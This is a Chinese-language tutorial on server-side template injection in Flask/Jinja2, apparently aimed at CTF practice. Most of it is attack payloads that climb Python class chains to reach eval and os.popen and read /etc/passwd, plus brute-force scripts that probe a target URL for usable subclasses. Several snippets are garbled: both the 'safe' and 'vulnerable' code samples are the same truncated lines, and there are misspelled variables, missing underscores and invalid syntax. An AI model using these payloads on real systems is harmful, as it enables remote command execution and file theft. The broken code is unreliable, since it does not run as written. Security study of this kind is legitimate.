SSTI初步认识
SSTI初步理解及认识
SSTI的认识
首先ssti是一个因为模板渲染漏洞,其漏洞原理是在渲染位置可以调用函数。
即将危险函数渲染调用
from flask import Flask,request,render_template_string
app=Flask(__name__)
以上为安全模板渲染
错误代码:
from flask import Flask,request,render_template_string
app=Flask(__name__)
所以SSTI本质上也是一个注入漏洞。
SSTI模板类型的鉴别
这个图怎么理解呢
就是绿色箭头代表执行了,红色箭头代表没执行。
先输入${7*7},如果运行结果仍是这个,则是没执行操作红箭头下一步代码,依次类推。执行成功的结果是什么呢,7*7的结果是49,a{*comment*}b的结果是ab,成功就是Smarty模板。${"z".join("ab")}的运行结果是zab。
模板类型不止这些,之后可以多了解。
SSTI中python的魔术方法及渗透过程
先简单说一下攻击思路是从子类A(即当前窗口调用的该object的classA)去调用父类(object)的另一个含有危险函数的子类B(classB)或者友元类。
因此,第一步,我们应该去获取子类A的父类是谁(或者说一步一步的找到我们通常认识的含有危险函数的类。)
所以就有了我们熟知的第一步的攻击代码。
{{[].__class__.__base__.__subclasses__()[17]}}
()是元组,{}是字典,[]是列表,''和""是字符串,其他可以自己研究。
__class__#查找当前类型的所属对象
__base__#按照父子类关系寻找上一层。
__mro__#和base的效果一致,但是这个是显示查找当前类的所有继承类。
__subclasses__()#查找父类下的所有子类,后加中括号内可以填写具体哪一个子类的序号。
__init__#查看类是否重载,重载是指程序在运行时就已经加载好了,我们可以利用。没有重载就无法执行漏洞,即报错。
__globals__#函数会已字典形式返回当前对象的全部全局变量。
一般情况下object就到头了。
可自行了解这些注入模块。
通过第一步的攻击代码找到这些注入模块,然后使用init函数查看是否重载,无wrapper即说明重载。
最后加入globals函数查找你想利用的危险函数。
以上为标准无过滤的情况。
{{[].__class__.__base__.__subclasses__()[17].__init__.globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
builtins函数是为了申请对py的内置函数的一个访问。
eval()计算字符串表达式的值
popen就是我们利用的危险函数。
{{[].__class__.__base__.__subclasses__()[17].__init__.globals__.['popen']('cat /etc/passwd').read()}}
其实不用上面的那个函数也是可以的。
注入模块
文件读取
__frozen__importlib__external.FileLoader
__frozen__importlib__external.FileLoader函数是可以读取文件的。
如何快速找到危险函数的具体位置
import requests
url=input('url:')
for i in range(500):
data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response=requests.post(url,data=data)
#print(response.text)
if reponse.status_code == 200:
if'__frozen__importlib__external.FileLoader' in response.text:
print(i)
except:
pass
不断地请求这个函数直到找见为止。
name不是固定的。
利用方法:["get_data"](0,"/etc/passwd")
调用get_data方法,传入参数0和文件路径。
还有一种是将flag放在配置文件里,直接config读取就行。
命令执行
eval
快速查找代码:
import requests
url=input('url:')
for i in range(500):
data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response=requests.post(url,data=data)
#print(response.text)
if reponse.status_code == 200:
if'eval' in response.text:
print(i)
except:
pass
得到i后,添加后续攻击代码就可以了。
{{[].__class__.__base__.__subclasses__()[17].__init__.globals__['__builtins__']['eval']("__import__('os').popen('cat /etc/passwd').read()")}}
没有read是没有回显的。